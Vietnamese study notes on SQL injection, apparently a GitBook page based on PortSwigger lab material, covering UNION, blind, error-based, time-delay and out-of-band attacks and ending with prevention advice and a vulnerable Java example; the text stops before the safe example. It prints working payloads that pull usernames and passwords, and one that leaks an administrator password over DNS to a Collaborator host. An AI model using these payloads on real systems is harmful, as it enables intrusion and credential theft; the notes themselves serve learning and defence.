# SQL Injection

## Khái niệm SQL injection

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2F0xEM21xbq6GeQyI3GQLi%2Fimage.png?alt=media&#x26;token=a038e113-0a7c-4338-af0d-8e89dee95f7a" alt=""><figcaption></figcaption></figure>

SQLi là lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào các truy vấn mà ứng dụng thực hiện đối với CSDL của chúng => Xem, sửa, xóa dữ liệu nhạy cảm mà thông thường không thể truy xuất được hoặc leo thang để xâm phạm máy chủ cơ sở hoặc cơ sở hạ tầng phụ trợ; ngoài ra còn có thể tận dụng để tấn công từ chối dịch vụ

## Tác động

* Có thể dẫn đến truy cập trái phép vào dữ liệu nhạy cảm như: Mật khẩu, chi tiết thẻ tín dụng, thông tin cá nhân người dùng ... Những vụ tấn công này đã gây ra thiệt hại về uy tín và các khoản tiền phát theo quy định
* Có thể có được một backdoor dẫn đến sự xâm phạm lâu dài&#x20;

## Cách phát hiện lỗ hổng

Phát hiện thủ cống sử dụng một tập hợp các bài kiểm tra có hệ thống với mọi entry point trong ứng dụng. Để thực hiện việc này, thường sẽ gửi

* Ký tự dấu nháy đơn `'`và tìm kiếm lỗi hoặc các bất thường khác.
* Một số cú pháp SQL cụ thể đánh giá theo giá trị cơ sở (gốc) của entry point và một giá trị khác, đồng thời tìm kiếm sự khác biệt có hệ thống trong phản hồi của ứng dụng.
* Các điều kiện Boolean như `OR 1=1`và `OR 1=2`, và tìm kiếm sự khác biệt trong phản hồi của ứng dụng.
* Tải trọng được thiết kế để kích hoạt độ trễ thời gian khi được thực hiện trong truy vấn SQL và tìm kiếm sự khác biệt về thời gian phản hồi.
* [Tải trọng OAST](https://portswigger.net/burp/application-security-testing/oast) được thiết kế để kích hoạt tương tác mạng ngoài băng tần khi được thực hiện trong truy vấn SQL và giám sát mọi tương tác phát sinh.

Phát hiện tự động sử dụng các công cụ như sqlmap, invicti, Burp Scanner, ...

[Xem thêm](https://www.zenarmor.com/docs/network-security-tutorials/best-sql-injection-detection-tools)

## Vị trí SQL injection trong truy vấn

Hầu hết các lỗ hổng SQL injection xảy ra trong mệnh đề`WHERE`của truy vấn `SELECT`

Một số vị trí phổ biến khác mà SQL injection phát sinh là:

* Trong `UPDATE`, trong các giá trị được cập nhật hoặc tại mệnh đề `WHERE`.
* Trong `INSERT`, bên trong các giá trị được chèn vào.
* Trong `SELECT`, bên trong tên bảng hoặc cột.
* Trong `SELECT` trong mệnh đề `ORDER BY`.

## Kiểm tra cơ sở dữ liệu trong các cuộc tấn công SQL injection

### Truy vấn loại cơ sở dữ liệu và phiên bản

| Database type    | Query                     |
| ---------------- | ------------------------- |
| Microsoft, MySQL | `SELECT @@version`        |
| Oracle           | `SELECT * FROM v$version` |
| PostgreSQL       | `SELECT version()`        |

Ví dụ có thể sử dụng  `UNION` attack với đầu vào:

`' UNION SELECT @@version--`

[SQL injection attack, querying the database type and version on Oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle)[SQL injection attack, querying the database type and version on MySQL and Microsoft](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft)

### Liệt kế nội dung của cơ sở dữ liệu

Hầu hết các loại cơ sở dữ liệu (trừ Oracle) đều có một tập hợp các chế độ xem được gọi là lược đồ thông tin - cung cấp tông tin về cơ sở dữ liệu

Ví dụ

*   Truy vấn `information_schema.tables`để liệt kê các bảng trong cơ sở dữ liệu:

    `SELECT * FROM information_schema.tables`
*   Truy vấn `information_schema.columns`để liệt kê các cột trong từng bảng:

    `SELECT * FROM information_schema.columns WHERE table_name = 'Users'`

[SQL injection attack, listing the database contents on non-Oracle databases](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle)

### Liệt kê nội dung trong cơ sở dũ liệu Oracle

*   Liệt kê các bảng bằng cách truy vấn `all_tables`:

    `SELECT * FROM all_tables`
*   Liệt kê các cột bằng cách truy vấn `all_tab_columns`:

    `SELECT * FROM all_tab_columns WHERE table_name = 'USERS'`

\
[SQL injection attack, listing the database contents on Oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle)

## Ví dụ về các kiểu SQL injection phổ biến

* [Retrieving hidden data](sql-injection/lab-retrieving-hidden-data): Điều chỉnh truy vấn SQL để trả về kết quả bổ sung
* [Subvertring application logic](sql-injection/lab-subvering-application-logic): Điều chỉnh truy vấn SQL để trả về kết quả bổ sung
* UNION attacks: Lấy dữ liệu từ các bảng CSDL khác
* Blind SQL injection: Kết quả truy vấn bạn kiểm soát không được trả về trong phản hồi của ứng dụng

### SQL injection UNION attacks

Khi một ứng dụng dễ bị SQL injection và kết quả của truy vấn được trả về trong phản hồi của ứng dụng, bạn có thể sử dụng từ khóa`UNION` để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu

Từ khóa `UNION` cho phép thực hiện một hoặc nhiều truy vấn `SELECT`bổ sung và thêm kết quả vào truy vấn ban đầu

Ví dụ: `SELECT a, b FROM table1 UNION SELECT c, d FROM table2`

Để `UNION`truy vấn có hiệu quả, hai yêu cầu chính phải được đáp ứng:

* Các truy vấn riêng lẻ phải trả về cùng số cột.
* Các kiểu dữ liệu trong mỗi cột phải tương thích giữa các truy vấn riêng lẻ.

Và để đảm bảo điều này thường liên quan đến việc tìm hiểu:

* Có bao nhiêu cột được trả về từ truy vấn ban đầu.
* Những cột nào được trả về từ truy vấn gốc có kiểu dữ liệu phù hợp để lưu trữ kết quả từ truy vấn được đưa vào.

#### Xác định số lượng cột cần thiết

Có 2 phương pháp hiệu quả để xác định có bao nhiêu cột được trả về từ truy vấn gốc, bao gồm:

Một phương pháp bao gồm việc chèn một loạt mệnh đề `ORDER BY`và tăng chỉ số cột được chỉ định cho đến khi xảy ra lỗi. Ví dụ, nếu điểm chèn là một chuỗi được trích dẫn trong mệnh `WHERE`đề của truy vấn gốc, bạn sẽ gửi:

`' ORDER BY 1--`&#x20;

`' ORDER BY 2--`&#x20;

`' ORDER BY 3--`&#x20;

...

Chuỗi payload này sửa đổi truy vấn gốc để sắp xếp kết quả theo các cột khác nhau trong tập kết quả. Cột trong mệnh `ORDER BY`đề có thể được chỉ định theo index của nó, do đó bạn không cần biết tên của bất kỳ cột nào. Khi index của cột được chỉ định vượt quá số lượng cột thực tế trong tập kết quả, cơ sở dữ liệu trả về lỗi, chẳng hạn như:

`The ORDER BY position number 3 is out of range of the number of items in the select list.`

Ứng dụng có thể thực sự trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng nó cũng có thể đưa ra phản hồi lỗi chung. Trong những trường hợp khác, nó có thể chỉ trả về không có kết quả nào cả. Dù bằng cách nào, miễn là bạn có thể phát hiện ra một số khác biệt trong phản hồi, bạn có thể suy ra có bao nhiêu cột đang được trả về từ truy vấn.

Phương pháp thứ hai bao gồm việc gửi một loạt `UNION SELECT`các dữ liệu chỉ định số lượng giá trị null ( `NULL`có thể chuyển đổi sang mọi kiểu dữ liệu phổ biến, do đó, nó tối đa hóa cơ hội tải trọng sẽ thành công khi số cột là chính xác.) khác nhau:

`' UNION SELECT NULL--`&#x20;

`' UNION SELECT NULL,NULL--`&#x20;

`' UNION SELECT NULL,NULL,NULL--`&#x20;

...

Nếu số lượng giá trị null không khớp với số lượng cột, cơ sở dữ liệu sẽ trả về lỗi, chẳng hạn như:

`All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.`

Tương tự như kỹ thuật `ORDER BY`kỹ thuật này, ứng dụng có thể thực sự trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng có thể trả về lỗi chung hoặc đơn giản là không trả về kết quả nào. Khi số lượng giá trị null khớp với số lượng cột, cơ sở dữ liệu trả về một hàng bổ sung trong tập kết quả, chứa các giá trị null trong mỗi cột. Hiệu ứng đối với phản hồi HTTP phụ thuộc vào code của ứng dụng. Nếu may mắn, bạn sẽ thấy một số nội dung bổ sung trong phản hồi, chẳng hạn như một hàng bổ sung trên bảng HTML. Nếu không, các giá trị null có thể kích hoạt một lỗi khác, chẳng hạn như `NullPointerException`. Trong trường hợp xấu nhất, phản hồi có thể trông giống như phản hồi do số lượng giá trị null không chính xác. Điều này sẽ khiến phương pháp này không hiệu quả.

[SQL injection UNION attack, determining the number of columns returned by the query](sql-injection/sql-injection-union-attacks/lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query)

#### Cú pháp dành riêng cho cơ sở dữ liệu <a href="#database-specific-syntax" id="database-specific-syntax"></a>

Trên Oracle, mọi truy vấn`SELECT`truy vấn phải sử dụng từ khóa `FROM` và chỉ định một bảng hợp lệ. Có một bảng tích hợp trên Oracle được gọi là `dual`có thể được sử dụng cho mục đích này. Vì vậy, các truy vấn được tiêm vào trên Oracle sẽ cần trông giống như sau:

`' UNION SELECT NULL FROM DUAL--`

Các tải trọng được mô tả sử dụng chuỗi chú thích gạch ngang kép `--`để chú thích phần còn lại của truy vấn gốc sau điểm tiêm. Trên MySQL, chuỗi gạch ngang kép phải được theo sau bởi một khoảng trắng. Ngoài ra, có thể sử dụng ký tự băm `#`để xác định chú thích.

#### Tìm cột có kiểu dữ liệu hữu ích

Tham dò từng cột để xem nó có thẻ chứa dữ liệu chuỗi hay không. Có thể gửi một loạt payload&#x20;

`UNION SELECT`đặt giá trị chuỗi vào từng cột theo lượt. Ví dụ, nếu truy vấn trả về bốn cột, bạn sẽ gửi:

`' UNION SELECT 'a',NULL,NULL,NULL--`&#x20;

`' UNION SELECT NULL,'a',NULL,NULL--`&#x20;

`' UNION SELECT NULL,NULL,'a',NULL--`&#x20;

`' UNION SELECT NULL,NULL,NULL,'a'--`

Nếu kiểu dữ liệu cột không tương thích với dữ liệu chuỗi, truy vấn được đưa vào sẽ gây ra lỗi cơ sở dữ liệu, chẳng hạn như:

`Conversion failed when converting the varchar value 'a' to data type int.`

Nếu không xảy ra lỗi và phản hồi của ứng dụng chứa một số nội dung bổ sung bao gồm giá trị chuỗi được đưa vào thì cột có liên quan sẽ phù hợp để truy xuất dữ liệu chuỗi.

[SQL injection UNION attack, finding a column containing text](sql-injection/sql-injection-union-attacks/lab-sql-injection-union-attack-finding-a-column-containing-text)

#### Sử dụng tấn công SQL injection UNION để lấy dữ liệu thú vị <a href="#using-a-sql-injection-union-attack-to-retrieve-interesting-data" id="using-a-sql-injection-union-attack-to-retrieve-interesting-data"></a>

Khi xác định được số cột trả về bởi truy vấn ban đầu và tìm ra cột nào có thể chứa dữ liệu chuỗi, đã có thể truy xuất dữ liệu thú vị.

iả sử rằng:

* Truy vấn ban đầu trả về hai cột, cả hai đều có thể chứa dữ liệu chuỗi.
* Điểm chèn là một chuỗi được trích dẫn trong mệnh đề `WHERE`.
* Cơ sở dữ liệu chứa một bảng có tên `users`  có các cột `username`và`password`.

Có thể lấy nội dung của bảng `users`bằng cách gửi dữ liệu đầu vào:

`' UNION SELECT username, password FROM users--`

Nếu không biết thông tin về bảng này, cần phải đoán tên của các bảng và cột. Tất cả cơ sở dữ liệu hiện đại đều cung cấp các cách để kiểm tra cấu trúc cơ sở dữ liệu và xác định chúng chứa những bảng và cột nào

[SQL injection UNION attack, retrieving data from other tables](sql-injection/sql-injection-union-attacks/lab-sql-injection-union-attack-retrieving-data-from-other-tables)

#### Lấy nhiều giá trị trong một cột duy nhất

Có thể lấy nhiều giá trị cùng nhau trong một cột duy nhất này bằng cách nối các giá trị lại với nhau, sử dụng một dâu phân cách đẻ phân biệt các giá trị kết hợp. Ví dụ, trên Oracle, bạn có thể gửi đầu vào:

`' UNION SELECT username || '~' || password FROM users--`

&#x20;`||`là toán tử nối chuỗi trên Oracle. Truy vấn được tiêm sẽ nối các giá trị của các trường `username`và `password`, được phân tách bằng `~`ký tự.

Kết quả từ truy vấn chứa tất cả tên người dùng và mật khẩu, ví dụ:

`...`&#x20;

`administrator~s3cure`&#x20;

`wiener~peter`&#x20;

`carlos~montoya ...`

Các cơ sở dữ liệu khác nhau sử dụng cú pháp khác nhau để thực hiện nối chuỗi

| Oracle     | `'foo'\|\|'bar'`                                                                                             |
| ---------- | ------------------------------------------------------------------------------------------------------------ |
| Microsoft  | `'foo'+'bar'`                                                                                                |
| PostgreSQL | `'foo'\|\|'bar'`                                                                                             |
| MySQL      | <p><code>'foo' 'bar'</code> [Note the space between the two strings]<br><code>CONCAT('foo','bar')</code></p> |

[SQL injection UNION attack, retrieving multiple values in a single column](sql-injection/sql-injection-union-attacks/lab-sql-injection-union-attack-retrieving-multiple-values-in-a-single-column)

### Blind SQL injection <a href="#blind-sql-injection" id="blind-sql-injection"></a>

#### Blind SQL injection là gì?

Blind SQL injection khi một ứng dụng dễ bị tấn công bởi SQL injection, nhưng phản hồi HTTP của nó lại không chứa kết quả của truy vấn SQL có liên quan hoặc thông tin chi tiết về bất kỳ lỗi cơ sở dữ liệu nào

#### Khai thác Blind SQL injection bằng cách kích hoạt phản hồi có điều kiện

Xem xét một ứng dụng sử dụng cookie theo dõi để thu thập phân tích về việc sử dụng.&#x20;

Khi Request chứa `TrackingId`cookie được xử lý, ứng dụng sẽ sử dụng truy vấn SQL để xác định xem đây có phải là người dùng đã biết hay không:

`SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'`

Kết quả từ truy vấn không trả về cho người dùng, nhưng có thể xem xét trong Respone. Trong ví dụ này nếu một truy vấn được công nhận `TrackingId`, truy vấn sẽ trả về dữ liệu và bạn nhận được thông báo "Welcome back" trong Response.

Có thể xác định câu trả lời cho bất kỳ điều kiện nào được đưa vào và trích xuất dữ liệu từng phần một qua:

`…xyz' AND '1'='1`&#x20;

`…xyz' AND '1'='2`

* Giá trị đầu tiên trong số các giá trị này khiến truy vấn trả về kết quả, vì `AND '1'='1`điều kiện được đưa vào là đúng. Kết quả là, thông báo "Chào mừng trở lại" được hiển thị.
* Giá trị thứ hai khiến truy vấn không trả về bất kỳ kết quả nào vì điều kiện được đưa vào là sai. Thông báo "Chào mừng trở lại" không được hiển thị.ư

Giả sử có một bảng được gọi `Users`với các cột `Username`và `Password`, và một người dùng được gọi là `Administrator`. Có thể xác định mật khẩu cho người dùng này bằng cách gửi một loạt các đầu vào để kiểm tra mật khẩu từng ký tự một với hàm SUBSTRING (hoặc SUBSTR trong Oracle):           **SUBSTRING(Chuỗi, Ví trí(bắt đầu từ 1), Độ dài)**

`xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't`

`yz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's`

Trên là quá trình xác định ký tự đầu tiên của mật khẩu dựa vào phản hồi có điều kiện trả về. Chúng ta có thể tiếp tục quá trình này để xác định một cách có hệ thống toàn bộ mật khẩu cho `Administrator`.

[Blind SQL injection with conditional responses](sql-injection/blind-sql-injection/lab-blind-sql-injection-with-conditional-responses)

#### SQL injection dựa trên lỗi <a href="#error-based-sql-injection" id="error-based-sql-injection"></a>

Sử dụng thông báo lỗi để trích xuất hoặc suy ra dữ liệu nhạy cảm từ cơ sở dữ liệu, ngay cả trong bối cảnh mù. Khả năng thành công phụ thuộc vào cấu hình của CSDL và loại lỗi có thể kích hoạt:

* Khai thác theo phản hồi lỗi cụ thể dựa trên kết quả của biểu thưc boolean, tương tự [#khai-thac-blind-sql-injection-bang-cach-kich-hoat-phan-hoi-co-dieu-kien](#khai-thac-blind-sql-injection-bang-cach-kich-hoat-phan-hoi-co-dieu-kien "mention")
* Kích hoạt các thông báo lỗi xuất dữ liệu được truy vấn trả về. Điều này có hiệu quả biến các lỗ hổng Blind SQL Injection thành các lỗ hổng có thể nhìn thấy.

:tada:**Khai thác blind SQL injection bằng cách kích hoạt lỗi có diều kiện**

Có thể kiểm tra một điều kiện boolean duy nhất và kích hoạt lỗi cơ sở dữ liệu nếu điều kiện là đúng.

| **Oracle**     | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`      |
| -------------- | --------------------------------------------------------------------------------------- |
| **Microsoft**  | `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`                         |
| **PostgreSQL** | `1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)`          |
| **MySQL**      | `SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')` |

Ví dụ với ứng dụng sử dụng  `TrackingId` cookie, có thể sử đổi cookie đê thêm vào các giá trị tạo lỗi

Nếu lỗi gây ra sự khác biệt trong phản hồi HTTP của ứng dụng, có thể sử dụng điều này để xác định xem điều kiện được đưa vào có đúng không.

Sử dụng kỹ thuật này, bạn có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:

`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

[Blind SQL injection with conditional errors](sql-injection/blind-sql-injection/lab-blind-sql-injection-with-conditional-errors)

:tada: **Trích xuất dữ liệu nhạy cảm thông qua các thông báo lỗi SQL chi tiết**

Cấu hình sai cơ sở dữ liệu đôi khi dẫn đến thông báo lỗi dài dòng. Những thông báo này có thể cung cấp thông tin có thể hữu ích cho kẻ tấn công.

[Visible error-based SQL injection](sql-injection/blind-sql-injection/lab-visible-error-based-sql-injection)

#### Khai thác lỗi SQL injection bằng cách kích hoạt độ trễ thời gian <a href="#exploiting-blind-sql-injection-by-triggering-time-delays" id="exploiting-blind-sql-injection-by-triggering-time-delays"></a>

Nếu ứng dụng phát hiện lỗi cơ sở dữ liệu khi truy vấn SQL được thực thi và xử lý chúng một cách nhẹ nhàng, sẽ không có bất kỳ sự khác biệt nào trong phản hồi của ứng dụng.

Trong tình huống này, thường khai thác lỗ hổng blind SQL injection bằng cách kích hoạt độ trễ thời gian tùy thuộc vào điều kiện được tiêm là đúng hay sai. Vì các truy vấn SQL thường được ứng dụng xử lý đồng bộ, nên việc trì hoãn thực thi truy vấn SQL cũng làm chậm phản hồi HTTP. Điều này cho phép bạn xác định tính đúng đắn của điều kiện được tiêm dựa trên thời gian nhận được phản hồi HTTP.

| Oracle     | `dbms_pipe.receive_message(('a'),10)` |
| ---------- | ------------------------------------- |
| Microsoft  | `WAITFOR DELAY '0:0:10'`              |
| PostgreSQL | `SELECT pg_sleep(10)`                 |
| MySQL      | `SELECT SLEEP(10)`                    |

Ví dụ, trên Microsoft SQL Server, có thể sử dụng các kỹ thuật sau để kiểm tra điều kiện và kích hoạt độ trễ tùy thuộc vào việc biểu thức có đúng hay không:

`'; IF (1=2) WAITFOR DELAY '0:0:10'--`&#x20;

`'; IF (1=1) WAITFOR DELAY '0:0:10'--`

* Đầu vào đầu tiên không kích hoạt độ trễ vì điều kiện `1=2`là sai.
* Đầu vào thứ hai kích hoạt độ trễ 10 giây vì điều kiện `1=1`là đúng.

Sử dụng kỹ thuật này, chúng ta có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:

`'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--`

[Blind SQL injection with time delays](sql-injection/blind-sql-injection/lab-blind-sql-injection-with-time-delays)

[Blind SQL injection with time delays and information retrieval](sql-injection/blind-sql-injection/lab-blind-sql-injection-with-time-delays-and-information-retrieval)

#### Khai thác blind SQL injection bằng kỹ thuật out-of-band (OAST) <a href="#exploiting-blind-sql-injection-using-out-of-band-oast-techniques" id="exploiting-blind-sql-injection-using-out-of-band-oast-techniques"></a>

Một ứng dụng có thể thực hiện cùng một truy vấn SQL như ví dụ trước nhưng thực hiện theo cách không đồng bộ. Ứng dụng tiếp tục xử lý yêu cầu của người dùng trong luồng gốc và sử dụng luồng khác để thực hiện truy vấn SQL bằng cookie theo dõi. Phản hồi của ứng dụng không phụ thuộc vào việc truy vấn trả về bất kỳ dữ liệu nào, lỗi cơ sở dữ liệu xảy ra hay thời gian thực hiện truy vấn.

Trong tình huống này, thường có thể khai thác lỗ hổng blind SQL injection bằng cách kích hoạt các tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát. Những tương tác này có thể được kích hoạt dựa trên điều kiện được tiêm để suy ra thông tin từng phần một. Hữu ích hơn, dữ liệu có thể được trích xuất trực tiếp trong tương tác mạng.

Có thể sử dụng nhiều giao thức mạng khác nhau cho mục đích này, nhưng thông thường hiệu quả nhất là DNS (dịch vụ tên miền). Nhiều mạng sản xuất cho phép truy vấn DNS thoát tự do, vì chúng rất cần thiết cho hoạt động bình thường của hệ thống sản xuất.

&#x20;[Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) . Đây là máy chủ cung cấp các triển khai tùy chỉnh của nhiều dịch vụ mạng khác nhau, bao gồm cả DNS. Nó cho phép bạn phát hiện khi nào các tương tác mạng xảy ra do gửi các tải trọng riêng lẻ đến một ứng dụng dễ bị tấn công.

Quy trình chung để sử dụng thủ công Burp Collaborator là:

1. Tạo các tải trọng Collaborator, là các miền phụ của miền máy chủ Collaborator.
2. Chèn tải trọng vào yêu cầu và gửi yêu cầu đến ứng dụng mục tiêu.
3. Thăm dò máy chủ Collaborator để xem liệu ứng dụng có sử dụng tải trọng được đưa vào để tương tác với bất kỳ dịch vụ mạng nào hay không.

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FTkwN5oUK50DuRoK3lJWg%2Fimage.png?alt=media&#x26;token=58024daf-7d65-495f-a6c7-8be2385fe958" alt=""><figcaption></figcaption></figure>

Có thể sử dụng [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) để tạo một tên miền phụ duy nhất và thăm dò máy chủ Collaborator để xác nhận thời điểm xảy ra bất kỳ tra cứu DNS nào.

[Blind SQL injection with out-of-band interaction](sql-injection/blind-sql-injection/lab-blind-sql-injection-with-out-of-band-interaction)

Sau khi xác nhận cách kích hoạt tương tác ngoài băng tần, bạn có thể sử dụng kênh ngoài băng tần để trích xuất dữ liệu từ ứng dụng dễ bị tấn công. Ví dụ:

`'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--`

Đầu vào này đọc mật khẩu của `Administrator`người dùng, thêm một miền phụ Collaborator duy nhất và kích hoạt tra cứu DNS. Tra cứu này cho phép bạn xem mật khẩu đã thu thập:

`S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net`

Kỹ thuật Out-of-band ( [OAST](https://portswigger.net/burp/application-security-testing/oast) ) là một cách mạnh mẽ để phát hiện và khai thác blind SQL injection, do khả năng thành công cao và khả năng trực tiếp trích xuất dữ liệu trong kênh out-of-band. Vì lý do này, kỹ thuật OAST thường được ưa chuộng ngay cả trong những tình huống mà các kỹ thuật khác để khai thác blind có hiệu quả.

[Blind SQL injection with out-of-band data exfiltration](sql-injection/blind-sql-injection/lab-blind-sql-injection-with-out-of-band-data-exfiltration)

#### Ngăn chặn blind SQL injection

Sử dụng cẩn thận các truy vấn có tham số, , đảm bảo rằng dữ liệu đầu vào của người dùng không thể can thiệp vào cấu trúc của truy vấn SQL dự định.

### Second-order SQL injection

First-order SQL injection xảy ra khi ứng dụng xử lý dữ liệu đầu vào của người dùng từ HTTP và kết hợp dữ liệu đầu vào đó vào truy vấn SQL theo cách không an toàn.

Second-order SQL injection xảy ra khi ứng dụng lấy dữ liệu đầu vào của người đùng từ một HTTP Request và lưu lại sử dụng trong tương lai. Dữ liệu đầu vào được đặt vào CSDL, nhưng không có lỗ hổng nào xảy ra tại thời điểm dữ liệu được lưu trữ. Sau đó, khi xử lý một HTTP request khác, ứng dụng sẽ truy xuất dữ liệu đã lưu và kết hợp dữ liệu đó vào truy vấn SQL theo cách không an toàn.

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FPoYBfAtJNtv6yZ9NHERu%2Fimage.png?alt=media&#x26;token=cf2f9204-a1d4-49da-9157-ac7d7aecb188" alt=""><figcaption></figcaption></figure>

Second-order SQL injection thường xảy ra trong các tình huống ứng dụng đã xử lý an toàn việc đặt đầu vào ban đầu vào CSDL mà không đảm bảo các bước  sử dụng lại sau đó.

## Kiểm tra cơ sở dữ liệu

Để khai thác lỗ hổng SQL injection , thường cần phải tìm thông tin về cơ sở dữ liệu. Bao gồm:

* Loại và phiên bản của phần mềm cơ sở dữ liệu.
* Các bảng và cột có trong cơ sở dữ liệu.

### Truy vấn loại cơ sở dữ liệu và phiên bản <a href="#querying-the-database-type-and-version" id="querying-the-database-type-and-version"></a>

Bạn có thể truy vấn cơ sở dữ liệu để xác định loại và phiên bản của nó. Thông tin này hữu ích khi xây dựng các cuộc tấn công phức tạp hơn.

| Tiên tri   | <p><code>SELECT banner FROM v$version</code><br><code>SELECT version FROM v$instance</code><br></p> |
| ---------- | --------------------------------------------------------------------------------------------------- |
| Microsoft  | `SELECT @@version`                                                                                  |
| PostgreSQL | `SELECT version()`                                                                                  |
| MySQL      | `SELECT @@version`                                                                                  |

Ví dụ, bạn có thể sử dụng lệnh `UNION`tấn công với thông tin đầu vào sau:

`' UNION SELECT @@version--`

[SQL injection attack, querying the database type and version on Oracle](sql-injection/examining-the-database/lab-sql-injection-attack-querying-the-database-type-and-version-on-oracle)

[SQL injection attack, querying the database type and version on MySQL and Microsoft](sql-injection/examining-the-database/lab-sql-injection-attack-querying-the-database-type-and-version-on-mysql-and-microsoft)

### Liệt kê nội dung của cơ sở dữ liệu

Hầu hết các loại cơ sở dữ liệu (trừ Oracle) đều có một tập hợp các chế độ xem được gọi là lược đồ thông tin (information schema).

Ví dụ, bạn có thể truy vấn `information_schema.tables`để liệt kê các bảng trong cơ sở dữ liệu:

`SELECT * FROM information_schema.tables`

Câu trả lời sẽ như sau:

`TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE =====================================================`&#x20;

`MyDatabase    dbo          Products   BASE TABLE`&#x20;

`MyDatabase    dbo          Users      BASE TABLE`&#x20;

`MyDatabase    dbo          Feedback   BASE TABLE`

Đầu ra này cho biết có ba bảng, được gọi là `Products`, `Users`, và `Feedback`.

Sau đó, bạn có thể truy vấn `information_schema.columns`để liệt kê các cột trong từng bảng:

`SELECT * FROM information_schema.columns WHERE table_name = 'Users'`

Kết quả sẽ như sau:

`TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase     dbo          Users      UserId      int`&#x20;

`MyDatabase     dbo          Users      Username    varchar`&#x20;

`MyDatabase     dbo          Users      Password    varchar`

Đầu ra này hiển thị các cột trong bảng được chỉ định và kiểu dữ liệu của mỗi cột.

<table data-header-hidden><thead><tr><th width="148"></th><th></th></tr></thead><tbody><tr><td>Oracle</td><td><code>SELECT * FROM all_tables</code><br><code>SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'</code></td></tr><tr><td>Microsoft</td><td><code>SELECT * FROM information_schema.tables</code><br><code>SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code><br></td></tr><tr><td>PostgreSQL</td><td><code>SELECT * FROM information_schema.tables</code><br><code>SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code><br></td></tr><tr><td>MySQL</td><td><code>SELECT * FROM information_schema.tables</code><br><code>SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td></tr></tbody></table>

[SQL injection attack, listing the database contents on non-Oracle databases](sql-injection/examining-the-database/lab-sql-injection-attack-listing-the-database-contents-on-non-oracle-databases)

### Liệt kê nội dung của cơ sở dữ liệu Oracle

Trên Oracle, bạn có thể tìm thấy những thông tin tương tự như sau:

*   Bạn có thể liệt kê các bảng bằng cách truy vấn `all_tables`:

    `SELECT * FROM all_tables`
*   Bạn có thể liệt kê các cột bằng cách truy vấn `all_tab_columns`:

    `SELECT * FROM all_tab_columns WHERE table_name = 'USERS'`

[SQL injection attack, listing the database contents on Oracle](sql-injection/examining-the-database/lab-sql-injection-attack-listing-the-database-contents-on-oracle)

## SQL injection trong các bối cảnh khác nhau

Có thể thực hiện các cuộc tấn công tiêm SQL bằng bất kỳ đầu vào nào có thể kiểm soát được được ứng dụng xử lý dưới dạng truy vấn SQL. Ví dụ, một số trang web lấy đầu vào ở định dạng JSON hoặc XML và sử dụng định dạng này để truy vấn cơ sở dữ liệu.

Các định dạng khác nhau này có thể cung cấp nhiều cách khác nhau để [che giấu các cuộc tấn công](sql-injection/che-dau-cuoc-tan-cong-bang-encode) vốn bị chặn do WAF và các cơ chế phòng thủ khác

## Các ngăn chặn SQL injection

*   **Sử dụng Truy vấn có Tham số (Prepared Statements):**\
    Cách hiệu quả nhất để ngăn chặn SQL Injection là sử dụng truy vấn có tham số thay vì nối chuỗi trực tiếp với đầu vào của người dùng. Điều này đảm bảo rằng dữ liệu người dùng được xử lý như dữ liệu thông thường chứ không phải mã thực thi.

    **Ví dụ mã dễ bị tấn công (nối chuỗi):**

    ```java
    javaCopy codeString query = "SELECT * FROM products WHERE category = '" + input + "'";
    Statement statement = connection.createStatement();
    ResultSet resultSet = statement.executeQuery(query);
    ```

    **Ví dụ mã an toàn (truy vấn có tham số):**

    ```java
